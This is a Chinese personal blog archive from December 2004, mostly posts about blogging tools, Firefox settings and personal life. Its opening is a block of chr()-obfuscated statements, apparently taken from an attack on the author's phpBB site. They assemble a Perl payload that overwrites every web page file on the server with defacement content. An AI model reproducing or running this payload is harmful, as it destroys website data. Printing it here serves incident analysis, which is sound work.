fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(36)chr(103)chr(101)chr(110)chr(101)chr(114)chr(97)chr(116)chr(105)chr(111)chr(110)chr(32)chr(46)chr(113)chr(123)chr(46)chr(60)chr(47)chr(98)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(62)chr(60)chr(47)chr(65)chr(68)chr(68)chr(82)chr(69)chr(83)chr(83)chr(62)chr(10)chr(60)chr(47)chr(66)chr(79)chr(68)chr(89)chr(62)chr(60)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(47)chr(72)chr(84)chr(77)chr(76)chr(62)chr(10)chr(125)chr(59)chr(10)chr(10)chr(9)chr(117)chr(110)chr(108)chr(105)chr(110)chr(107)chr(32)chr(36)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(95)chr(91)chr(48)chr(93)chr(59)chr(10)chr(9)chr(111)chr(112)chr(101)chr(110)chr(32)chr(79)chr(85)chr(84)chr(44)chr(32)chr(34)chr(62)chr(36)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(95)chr(91)chr(48)chr(93)chr(34)chr(32)chr(111)chr(114)chr(32)chr(114)chr(101)chr(116)chr(117)chr(114)chr(110)chr(59)chr(10)chr(9)chr(112)chr(114)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(105)chr(110)chr(116)chr(32)chr(79)chr(85)chr(84)chr(32)chr(36)chr(115)chr(59)chr(10)chr(9)chr(99)chr(108)chr(111)chr(115)chr(101)chr(32)chr(79)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(85)chr(84)chr(59)chr(10)chr(125)chr(10)chr(10)chr(10)chr(115)chr(117)chr(98)chr(32)chr(68)chr(111)chr(68)chr(105)chr(114)chr(40)chr(36)chr(41)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(123)chr(10)chr(10)chr(9)chr(109)chr(121)chr(32)chr(36)chr(100)chr(105)chr(114)chr(32)chr(61)chr(32)chr(36)chr(95)chr(91)chr(48)chr(93)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(59)chr(10)chr(9)chr(36)chr(100)chr(105)chr(114)chr(32)chr(46)chr(61)chr(32)chr(39)chr(47)chr(39)chr(32)chr(117)chr(110)chr(108)chr(101)chr(115)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(115)chr(32)chr(36)chr(100)chr(105)chr(114)chr(32)chr(61)chr(126)chr(32)chr(109)chr(35)chr(47)chr(36)chr(35)chr(59)chr(10)chr(10)chr(9)chr(108)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(111)chr(99)chr(97)chr(108)chr(32)chr(42)chr(68)chr(73)chr(82)chr(59)chr(10)chr(9)chr(111)chr(112)chr(101)chr(110)chr(100)chr(105)chr(114)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(68)chr(73)chr(82)chr(44)chr(32)chr(36)chr(100)chr(105)chr(114)chr(32)chr(111)chr(114)chr(32)chr(114)chr(101)chr(116)chr(117)chr(114)chr(110)chr(59)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(10)chr(10)chr(9)chr(102)chr(111)chr(114)chr(32)chr(109)chr(121)chr(32)chr(36)chr(101)chr(110)chr(116)chr(32)chr(40)chr(103)chr(114)chr(101)chr(112)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(123)chr(32)chr(36)chr(95)chr(32)chr(110)chr(101)chr(32)chr(39)chr(46)chr(39)chr(32)chr(97)chr(110)chr(100)chr(32)chr(36)chr(95)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(110)chr(101)chr(32)chr(39)chr(46)chr(46)chr(39)chr(32)chr(125)chr(32)chr(114)chr(101)chr(97)chr(100)chr(100)chr(105)chr(114)chr(32)chr(68)chr(73)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(82)chr(41)chr(32)chr(123)chr(10)chr(10)chr(9)chr(9)chr(117)chr(110)chr(108)chr(101)chr(115)chr(115)chr(40)chr(45)chr(108)chr(32)chr(36)chr(100)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(105)chr(114)chr(32)chr(46)chr(32)chr(36)chr(101)chr(110)chr(116)chr(41)chr(32)chr(123)chr(10)chr(9)chr(9)chr(9)chr(105)chr(102)chr(40)chr(45)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(100)chr(32)chr(95)chr(41)chr(32)chr(123)chr(10)chr(9)chr(9)chr(9)chr(9)chr(68)chr(111)chr(68)chr(105)chr(114)chr(40)chr(36)chr(100)chr(105)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(114)chr(32)chr(46)chr(32)chr(36)chr(101)chr(110)chr(116)chr(41)chr(59)chr(10)chr(9)chr(9)chr(9)chr(9)chr(110)chr(101)chr(120)chr(116)chr(59)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(10)chr(9)chr(9)chr(9)chr(125)chr(10)chr(9)chr(9)chr(125)chr(10)chr(10)chr(9)chr(9)chr(105)chr(102)chr(40)chr(36)chr(101)chr(110)chr(116)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(61)chr(126)chr(32)chr(47)chr(92)chr(46)chr(104)chr(116)chr(109)chr(47)chr(105)chr(32)chr(111)chr(114)chr(32)chr(36)chr(101)chr(110)chr(116)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(61)chr(126)chr(32)chr(47)chr(92)chr(46)chr(112)chr(104)chr(112)chr(47)chr(105)chr(32)chr(111)chr(114)chr(32)chr(36)chr(101)chr(110)chr(116)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(61)chr(126)chr(32)chr(47)chr(92)chr(46)chr(97)chr(115)chr(112)chr(47)chr(105)chr(32)chr(111)chr(114)chr(32)chr(36)chr(101)chr(110)chr(116)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(61)chr(126)chr(32)chr(47)chr(92)chr(46)chr(115)chr(104)chr(116)chr(109)chr(47)chr(105)chr(10)chr(9)chr(9)chr(9)chr(111)chr(114)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(36)chr(101)chr(110)chr(116)chr(32)chr(61)chr(126)chr(32)chr(47)chr(92)chr(46)chr(106)chr(115)chr(112)chr(47)chr(105)chr(32)chr(111)chr(114)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(36)chr(101)chr(110)chr(116)chr(32)chr(61)chr(126)chr(32)chr(47)chr(92)chr(46)chr(112)chr(104)chr(116)chr(109)chr(47)chr(105)chr(41)chr(32)chr(123)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(10)chr(10)chr(9)chr(9)chr(9)chr(68)chr(111)chr(70)chr(105)chr(108)chr(101)chr(40)chr(36)chr(100)chr(105)chr(114)chr(32)chr(46)chr(32)chr(36)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(101)chr(110)chr(116)chr(41)chr(59)chr(10)chr(9)chr(9)chr(125)chr(10)chr(9)chr(125)chr(10)chr(10)chr(9)chr(99)chr(108)chr(111)chr(115)chr(101)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(100)chr(105)chr(114)chr(32)chr(68)chr(73)chr(82)chr(59)chr(10)chr(125)chr(10)chr(10)chr(10)chr(115)chr(117)chr(98)chr(32)chr(80)chr(97)chr(121)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(76)chr(111)chr(97)chr(100)chr(40)chr(41)chr(32)chr(123)chr(10)chr(10)chr(9)chr(109)chr(121)chr(32)chr(64)chr(100)chr(105)chr(114)chr(115)chr(59)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(10)chr(10)chr(9)chr(101)chr(118)chr(97)chr(108)chr(123)chr(10)chr(9)chr(9)chr(119)chr(104)chr(105)chr(108)chr(101)chr(40)chr(109)chr(121)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(64)chr(97)chr(32)chr(61)chr(32)chr(103)chr(101)chr(116)chr(112)chr(119)chr(101)chr(110)chr(116)chr(40)chr(41)chr(41)chr(32)chr(123)chr(32)chr(112)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(117)chr(115)chr(104)chr(40)chr(64)chr(100)chr(105)chr(114)chr(115)chr(44)chr(32)chr(36)chr(97)chr(91)chr(55)chr(93)chr(41)chr(59)chr(125)chr(10)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(9)chr(125)chr(59)chr(10)chr(10)chr(9)chr(112)chr(117)chr(115)chr(104)chr(40)chr(64)chr(100)chr(105)chr(114)chr(115)chr(44)chr(32)chr(39)chr(47)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(39)chr(41)chr(59)chr(10)chr(10)chr(9)chr(102)chr(111)chr(114)chr(32)chr(109)chr(121)chr(32)chr(36)chr(108)chr(32)chr(40)chr(39)chr(65)chr(39)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(46)chr(46)chr(32)chr(39)chr(90)chr(39)chr(41)chr(32)chr(123)chr(10)chr(9)chr(9)chr(112)chr(117)chr(115)chr(104)chr(40)chr(64)chr(100)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(105)chr(114)chr(115)chr(44)chr(32)chr(36)chr(108)chr(32)chr(46)chr(32)chr(39)chr(58)chr(39)chr(41)chr(59)chr(10)chr(9)chr(125)chr(10)chr(10)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(9)chr(102)chr(111)chr(114)chr(32)chr(109)chr(121)chr(32)chr(36)chr(100)chr(32)chr(40)chr(64)chr(100)chr(105)chr(114)chr(115)chr(41)chr(32)chr(123)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(68)chr(111)chr(68)chr(105)chr(114)chr(40)chr(36)chr(100)chr(41)chr(59)chr(32)chr(125)chr(10)chr(125)chr(10)),exit


其中第一句是:

perl -e "open OUT,q(>m1ho2of) and print q(HYv9po4z3jjHWanN)"



Read More...

Labels:

Jan, 1, 2005: There're 65,900 pages in Google have the word "NeverEverNoSanity".
 

Tuesday, December 21

分析被黑网站.

网站: Win2000+Apache, 运行 phpBB
被黑情况: 所有页面都显示 This site is defaced!!!

分析:
我17日就发现了php的新漏洞, 所以查看文件,发现所有php文件都被修改. 查看日志,发现自12月1日起就陆续有人刺探,终于在20日一个在挪威的家伙(158.38.152.xxx)用213条语句把网站黑了.

phpBB网站提示有漏洞,而且强调不是它自己程序的问题,是php的问题,建议采用最新的PHP.

明天我也许要把那加密的213条语句还原过来,看这家伙做了一些什么.更重要重新安装PHP和phpBB.

Labels:

Monday, December 20

这两天很郁闷

这两天天很冷,最高问题是零下10度左右;房里渗水,长霉,暖气也不好,最高只能上15度。跟房东吵了一架,然后要搬走,房东还咬定60天之后,也就是2月底才能走,又吵一次,还是不灵。有个Project要交报告,但是坐在电脑前面硬是没有感觉,写不出来。看到深圳一群女工罢工,而且CSSA被黑了,真是郁闷。

今晚无论如何都要把报告憋出来,明天一交,完事大吉。过两天去多伦多走一走,不理这破房子鸟事。这两天还要发一些贺卡呢。Greeting Creator 是个很酷的贺卡工具,可惜我没有时间polish它。然后接着写Blog介绍(四)和(五)。

Labels:

Saturday, December 18

快捷Blog工具:介绍Blog(三)

我的网站左上方有一个“BlogThis!”的标志,如果你已经开设了你自己的blogger.com的账号,在这里选中一段文字,然后点击“BlogThis!”就能打开一个小窗口,里面已经自动填上我网页的标题和联结,还有你刚才选中的文字。你只要加上你自己的感想,就可以作为你的读书笔记发布到你自己的Blog上了。前两天的“Santa is getting fatter”、“这期的南方周末怎么成了blog专刊?”就是这样发布上来的。

其实,这段程序Blogger.com没有做好,对中文会处理失败。所以下面我会介绍新鲜出炉的小工具来解决这个问题。

前面我介绍的是你浏览Blogger.com系列的网站都能看到“BlogThis!”的标志,很容易作摘录。但是要是你看到别的网站上有兴趣的文章,能不能也这样随时随地快速摘录呢?可以。对于IE,下载一个Javascript小程序,并修改一下注册表添加右键菜单功能,就能实现。关于FireFox的方法,放到介绍Blog(五)中详细解说。

你在网上还能找到一些软件也能实现这个功能,但是肯定没有我这个方法干净(自卖自夸)。


下 载 http://fadshop.net/blog/others/blogger.html (右键->联结另存为),保存到 c:/Program Files/ 目录下,然后下载 http://fadshop.net/blog/others/blogger.reg ,这个文件的内容是:

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\Blog it!]
@="C:\\Program Files\\blogger.html"
也就是在IE中增加右键菜单功能,呼出刚才保存的blogger.html。
下载blogger.reg之后,双击这个文件,就可以把上面这行命令植入注册表中。

结束了。现在你用IE(或MyIE)浏览时,可以感兴趣的文章选中其中一部分,点击右键,选择"Blog It!",就弹出一个小窗口,很快发布到Blogger.com你的账号上面。


介绍Blog(四)将会介绍BlogRoll和Bloglines。我平时将Bloglines的Blog作为我的读书笔记,用bloglines.htmlbloglines.reg来实现右键blog的功能。

第(五)将介绍FireFox和Extension。

Labels:

Thursday, December 16

Santa is getting fatter

CNN.com - Few manage to lose Christmas bulge - Dec 16, 2004
Santa is getting fatter.

In 1996, the largest St. Nick outfit sold at Santasuits.com was double-X, and sales of oversized suits accounted for just 12 percent of business. Today, the company offers a quadruple-X, and plus-sized outfits are a third of business.

Another change for the company -- most Santas no longer need extra padding to fill out the suit.

'It's amazing how much larger the Santa suits keep getting,' said company spokeswoman Nanci Spano. 'Nobody really needs stuffers anymore. They're providing their own stuffing lately.'"

Why RSS is good

傳統的媒體產業難免會有預設立場,所以會有某報偏袒某政黨的情況發生,而總編輯的喜好亦有可能左右著刊物風格與特色;當主流媒體沒辦法落實「平衡報導」時,至少讀者能夠自己判斷可靠的消息來源、至少能夠綜覽多方意見。而 RSS 閱讀器讓這件事情變得更加容易,任何讀者都可以打破任何媒體的主觀色彩,把各種不同的角度並排呈現。

另一方面,在資訊爆炸時代裡,往往有著過多的資訊,讀者們對於資訊的焦慮恐慌卻祇有加劇、而無減輕;如何有效率地獲得真正想要的資訊,顯然成為重要的課題。 RSS 閱讀器提供了一個可能的解決方案,讓讀者得以自行篩選資訊,祇看想看的內容,不收不想看的東西,藉此而對資訊有更大的掌控權。

Labels:

FireFox Tab Browsing

记得有一个blog里说,中国不少用户看新闻时同时打开许多个窗口,再一一查看内容并关闭. MyIE的Tab浏览就能帮上大忙了。移植到FireFox之后,还能如此用Tab的方式打开新网页吗?

keso的"Firefox Extensions"一文介绍了Tab Browsing Extension(“我最需要的功能包括:单一窗口”),但是又警告说“由于这个extension过于庞大,会严重拖慢Firefox的响应,我已经放弃使用。” 好惨啊。

查查网上,发现真有不少人在找这个问题的答案。而且答案众说纷纭,大多还是建议采用上面提到这个Tab Browsing Extension功能扩展。

其实,只要在地址栏输入 about:config ,找到 browser.tabs.showSingleWindowModePrefs 一项,改成 True,然后打开菜单 Tool->Options..->Advanced,就可以发现“Force links that open new windows to open in”的选项。这个选项以前你是看不见的。现在你只要选上 a new tab 就可以实现在新Tab中打开新联结的效果了。




Labels:

如果你只是想在保持单一窗口,很简单,在地址栏输入:about:config,然后把下面的选项的值都改成3:

browser.link.open_external
browser.link.open_newwindow
browser.link.open_newwindow.ui
 
不错,按照我的方式选择了"Force links that open new windows to open in a new tab"之后,你所说的三个值都改成3了.

殊途同归. :)
 

这期的南方周末怎么成了blog专刊?



记者:你如何定义博客?是个人办的一份媒体?是个人写作、传播、发布还是其他的什么?
  吉尔默:从形式上来讲,博客就是一系列及时更新的文章(posting),按照顺序排下来,最上面的一篇是最新的。一般还要有链接和评论。博客的特点在于它很人性化,不是公关稿或新闻稿的写法。
  记者:博客的文字和我们看到的传统的文字最大的区别是什么?
  吉尔默:博客和报纸上有个人观点并署名的专栏很像,但和典型的新闻叙事差别很大。博客上的文章一般都是对话式的,不那么正式。你可以通过读博客上的文字听到文章背后的声音,看到文章背后的人。

同一期还有"我不是博客"的争论,和全球blog大奖赛的消息.
作者在拉偏架.
"没有养成添加超链接的习惯,...而cnblog则由此认为“博客中国”在版权方面意识淡薄。" 难道真是这样么?

Labels:

Firefox Extensions: BlogThis

This tool is very useful. When surfing Internet, you can simply select the text you're interested and right-click it, then you can post it in your blog.



Mozilla Update :: Extensions -- More Info: BlogThis: "BlogThis 0.2.1
By Phil Ringnalda
Adds right-click access to Blogger's BlogThis popup."

Labels: ,

Monday, December 13

建设一个Blog: 介绍Blog(二)

上篇简单介绍了什么是Blog,这里应该介绍如何建设一个Blog,提供一些 Hands-on experience.


建设一个blog有两种方式:
1,在自己的服务器上安装MovableType, WordPress等软件。如果你有自己的服务器,就应该懂得怎么做了 :)
2,在Blog Service Provider上申请空间。既有收费的BSP也有免费的地方。这里我只介绍一些免费的地方:
  • Blogger.com: 似乎是第一个提出Blog概念的地方。申请方便快捷,功能很强。问题:(1)不能上传图片,你需要另外找地方放图片;(2)缺省产生的网页在国内无法访问。我的Blog是采用FTP方式存放到我自己的空间http://fadshop.net/blog/ ,方法见 "Publish blog on your own website"
  • MSN Spaces:上月推出的Microsoft的新服务。在Internet上,微软总是迟钝一些,慢别人一步,但每每后来居上,不知道这次怎么样。如果你有Msn Messenger或hotmail,在这里登录就开通了自己的Blog。
  • 斗牛士:在写blog的同时能上传图片并摆放到你想要的位置。
  • 中国博客: Blog在国内的先驱 。
  • 博客中国:国内最大声的Blog社区。

申请过程一般都很简单,一定上网经验的人都能搞定。

但是,chedong说:建议大家不要使用集中化的托管服务,因为这种集中化的服务是非常非常“脆弱”的,不利于知识的长期积累和信息的平等传播。爱谁谁吧。

Labels:

Userplane http://www.userplane.com/ 开通了一项新的服务:AV Blogger。通过这项免费服务,我们可以方便的创建视听post并加入自己的blog。
(Via The Blog Herald)

Userplane AV Blogger的操作界面是一个基于Flash的网络应用程序,可以自动侦测电脑上的摄像头和麦克风。每个视听post的最大长度为10分钟,录制下来的视听文件将会被存放在Userplane服务器上。也就是说,你只需要复制一段HTML代码到blog上,就可以显示视听post了。

其实Audioblog一早就提供了类似的服务,不过作为免费视听blog服务,Userplane还是第一家,而且功能上丝毫也不逊色,推荐有兴趣的朋友一试!

Tractback: http://blog.comego.net/2004/12/userplaneblog.html
 
seeit gave this link:
http://blog.bcchinese.net/bcblog/archive/2004/09/05/1454.aspx

There're some Blog Service providers website, and it's updated frequently.
 
chedong是建议大家采用在自己服务器上host blog的方式。如果大家都用某一个BSP的服务,可能会受这个BSP的约束,不能实现“信息的平等传播”。可以看连接 http://blog.cnblog.org/archives/2004/12/cnblogosserssoo.html

但是一般blog用户不可能都有自己服务器,所以我说“爱谁谁”。
 
实际上,Blogger不也是集中式的blog服务吗?我倒是看到国外很多写得好的blog中,有相当多都是在集中式的blog服务商那里。核心问题还是你自己怎么使用你的blog,而不是你把blog放在哪儿。
 

Sunday, December 12

Blogs I read everyday.

Thos blogs I read everyday.

Labels:

介绍Blog

Blog是WebLog的变体。中文译名:网志,博客[注1]。本来很简单的词,因为加上很炫的理念,把许多人吓着了,反而提高了入门的门槛。11月底 Association for Computing Machinery 推出的 Communications of ACM 专辑介绍 Blogsphere, 所以我觉得有必要介绍一下。

基 本上,Blog就是N年前流行个人主页。但是它提供了很方便的书写工具,用户就可以从一些技术细节中脱身出来,专心于写内容。个人主页需要你懂一些ftp 知识,考虑网站构架,目录摆放,图片上传,HTML页面制作等等,但是Blog系统让你让你专注于你所要写的内容上,剩下的事情它解决。

Blog的另一个特点是提供RSS输出。RSS(Recommended Soy Sauce) 是 一个XML文件,内容就是你的blog。当前网页HTML格式非常混乱,程序员需要花很大工夫才能从中把花哨的页面控制的字符过滤掉,提取出真正有意义的 内容(一旦网站老板修改一下版面,这段程序又需要修改);而XML文件采用标准的格式存放内容,很方便程序员:因此Blog能把程序员释放出来,自由想 象,到底能够拿这些文章内容做一些什么软件,方便网络用户。

一个很简单的应用:在Bloglines, 你可以注册一个账号,把你喜欢的一些blog告诉它;它自动监视这些blog。每周末你可以登录一下,看看这些blog有什么新的文章:你已经看过的文章 被隐藏起来,不会分散你的精力。比如说你喜欢40个blog的内容,但是你访问40个网站,发现30个都没有更新,是很郁闷的事情。用这个 Bloglines你就可以只看已更新的10个blog中的新文章。顺手你还可以把你感兴趣的文章注释一下,写两句感想,按个按钮就可以发表出来,不会漏 掉你思想的闪光。我的阅读笔记在 http://www.bloglines.com/blog/BenInCampus ,嘻哩哗啦什么都有。

Blog 的特色就在于它的随意。做个人主页的时候你总要意识到这是一个很正式的东西,就好像西服,你穿上之后就不方便踢足球了;一旦有什么感想你先要打开Word 写下来,写了一半还要打开两个IE去google一下相关资料,然后考虑排版、上传的问题。如果你碰到一个小事情,心有所感,但是又不值得写一整篇文章, 可能你就会把这件事情放过去了。Blog就会鼓励你顺手写下来,日后翻到这里也许你会重新发现大道理呢。

大多数blog系统都让你登陆上网站用“所见即所得”的编辑器写作;FireFox上面还有许多很方便的关于blog的应用;有一些blog系统(比如说我现在用的 http://www.blogger.com)还可以让你发email给它,它就把信的内容转成网页发布出来:你甚至可以用来做公告拦,用作小组讨论的论坛呢。手机也可以用来发布,所以说blog鼓励你随时写下你的思想。

待续,要去包饺子了。下一集我要介绍怎样“做”出一个blog来。刚才用1分钟申请了http://bulletinblog.blogspot.com/, 发了一封信,等了5分钟终于看到信件发布出来了,可惜中文处理有问题。


[注1]:“博客”是方兴东翻译的,由于人品问题,许多人强烈反对用这个名字

Labels:

你这里广告上的 Free Blog,可能用么?
 
广告里的blog应该也可以用吧。在《介绍Blgo 二》里我介绍了一些blog的网站,可以到那里看看。

关于人品问题,答复如下:
首先声明:“人品不好”是一个很流行的无厘头借口。比如说A调程序总调不出来,让B看看,B也找不出毛病,就会说“人品不好”造成程序不通。
原文 http://fadshop.net/blog/2004/12/blog.html 在这句话上有联结,指向 http://www.klogs.org/archives/2004/12/iioioeciaeeoe.html ,后来改为http://www.cnblog.org/imnotboke/,里面介绍了一个“我不是博客”的运动,就是要反对这个翻译。
 

Friday, December 10

GuEsT bOoK

I have several email addresses that I don't want to post here for Spam Harvester. You can leave your comment under this message. I'll get an email whenever you sign this guestbook and I'll reply you soon.

Weekend I might stay online, then you can talk to me using MSN Messenger (dwn78 (At) hotmail.com) or Google Talk (BenInCampus).

FREE TIBET!
 
Ben,
I am would like to get your modification to Kieran O'Shea's calendar plugin for Wordpress that allows for multiple calendars. The link you have for download is broken. Please email me the file(s).

Thanks
 
Hi Ben,

I would like to have a version of your modified Kieran O'Shea calendar plugin as well for my portfolio. I hope you can send me a link to your version. Greatly appreciated. Thank you.
 
Hi Ben,
The link to the multicalendar.zip is dead.
Can you please provide a new link or mail thet zip.
Thanks very much for your work !
Rgds
 
Hi Webmaster,

I am writing to say that I am deeply sorry that my manipulative SEO practices may cause you to receive a Google Terms of Service violation in the very near future.
The backlinks to my website (sportspundit.com) can be found here:

http://benincampus.blogspot.in/2006_06_01_archive.html
http://benincampus.blogspot.in/2006/07/my-reading-blog.html


I believe that their immediate removal will save you from a similar ToS violation.
I hope that you can move quickly enough in removing them to avoid this.
Please feel free to contact me when you have deleted the links, or if you have any further questions for me.


Thank you and I would like to once again emphasize my regret.

 

Wednesday, December 8

北京交通大学三食堂发生火灾

2004年12月7日凌晨3时34分,北京交通大学三食堂发生火灾


图中黑色的就是三食堂(风味食堂),“1952年建设的大屋脊木质结构”。标号2为二食堂,4为回民餐厅,5是个仓库;12为男生宿舍,15女生宿舍,皆为6-7层水泥楼房,9为2层的砖瓦房子,也很容易烧着的。因此新闻中说许多学生都被疏散。西边仓库旁是很乱的一些房子,不知道“食堂旁边的一个液化气换气站”是不是在那里面。


1,有没有交大的学生的blog现场介绍?Blog比新闻强的地方在于第一手材料;我宁愿从众多blog中得到罗生门式的线索,自己分析,不希望从报纸上得到唯一的答案。
2,美国也有矿难。在中国,好像人人都有一些违规的动作。比如南都案中的喻华峰送钱,也是违规操作,更别提那些矿场老板和当地的工商、政府。所以一旦有事情发生,人人都要盖起来。美国就没有这么多台面下的小动作,因此出事的时候政府可以坦荡的告诉大家,让全社会来帮忙解决问题。这次交大的事情看来就很清爽:  由于火灾发生在凌晨,没有死亡事故,而且食堂也不是违规建筑,因此没有什么捂盖子的事情发生。


Tuesday, December 7

IT业的民工们

坐在办公室里有点冷,昨天出来的时候阳光煦暖,所以穿得比较少,想不到今天下了一下午的雨。赶紧写完回家去。

我的《一段的黑客经历》里提到的公司就在上地,但是现在我再回到上地,已经无法辨认了。当时这里只有一些办公楼,每个公司都有班车把员工送回城里;而现在这里已经人来人往,“连交通都成为问题了”(某个经济学家说,只有发达城市才会有交通问题,所以交通堵塞并不总是坏事)。上周我到工商银行办事,一抬头,发现那个公司大楼在众多新起的楼层中显得如此寒酸。

在这里到处离不开进城农民工人的身影。超市里一群勤快的小姑娘在摆放货品,导购,收银;外面是一些保安小伙走来走去,还有一个老头在收单车停放费;创业园的外面他们在给花草浇水;办公楼的餐厅里他们带着口罩边说“欢迎”边给你的饭盆盛满饭菜;甚至坐在办公桌前,你还能看见窗外一群勇敢的小伙子吊在半空清洗外墙;即使你回到家里,只要不是晚上,外面总是有叮叮当当房屋装修的声音。

虽然他们依然带着乡音,他们做事依然透着稚嫩,但是我总觉得他们不仅是这个城市的主要部分,而且是这个城市的缔造者。他们为我们这些坐办公室里的“劳心者”提供着各种各样的方便,而且也是他们,把一个几年前这个冷清的办公楼区变成现在如此紧张热闹的城市,各种各样的故事在这个城市不断地上演。。。。。。

我亲爱的父老乡亲啊,你们可能还没有摸过计算机,但是这个对你们来说很神奇的东西很深切的改变了你们,把你们从遥远的村庄里召唤过来;而你们又改变了这个世界,把一块荒凉的土地建设成为中国软件产业的一个重要基地。

我也是他们的一员。我的许多小时候一起抓蟋蟀,一起放牛的朋友,长大之后都到了外地去打工,饱受当地人的白眼与屈辱,用自己的汗水默默劳作,挣取微薄的薪水。过年时我们聚在一起,他们把那些“城里”的事情提起来当玩笑,我只能感到脸红,因为他们每每提到一些衣冠楚楚的先生/小姐,我就觉得几乎就是我办公室里的一些人,让我如坐针毡。

致上一首《农民》

忘掉远方是否可有出路 忘掉夜里月黑风高
踏雪过山双脚虽渐老 但靠两手一切达到

见面再喝到了熏醉 风雨中细说到心里
是与非过眼似烟吹 笑泪渗进了老井里
上路对唱过客乡里 春与秋撒满了希冀
夏与冬看透了生死 世代辈辈永远紧记

忘掉世间万千广阔土地 忘掉命里是否悲与喜
雾里看花一生走万里 但已了解不变道理

一天加一天
每分耕种 汗与血
粒粒皆辛酸
永不改变 人定胜天


希望我的朋友们, 善待你身边的民工。


2004年04月26日

Publish blog on your own website.

In , as default, user can publish her blog in http://yourname.blogspot.com. I have 3 reasons why I publish my blog in http://fadshop.net/blog :
  1. I have enough ftp space in http://fadshop.net.

  2. fadshop.net is my homepage, and you can search it from Google.com and any other search-engine.
  3. http://xxx.blogspot.com is blocked by China.

So I go to "Settings"->"Publishing", input my ftp address, username, password, and the path of folder where I want to put my blogs: /fadshop/wwwroot/blog/.

Be careful: If you have sensitive files in your webspace, or if you don't trust blogger.com, don't put your password and username.

It's easy. But if your want to publish your Site Feed, atom.xml at the same time, you should do more. Site Feed is an XML file that can be read by RSS Readers and RSS Aggregators to identify new messages in your blog. Go to "Settings"->"Site Feed" and check the "Site Feed Server Path". Usually we can put this XML file in the same folder as the blog. In my case, I put
"/fadshop/wwwroot/blog/" in the "Server Path" and "atom.xml" in the "Site Feed Filename", so I know the "Site Feed URL" will be http://fadshop.net/blog/atom.xml

After this, I added < a href="< $ BlogSiteFeedUrl $ >" title="Atom feed" >(Site Feed)< /a > in my template, then you can see the link.

Labels:

Teach Yourself Programming in Ten Years

Peter Norvig is one of the authors of Artificial Intelligence: A Modern Approach, a popular AI book in Computer Science. In Teach Yourself Programming in Ten Years, he told us how to study programming:

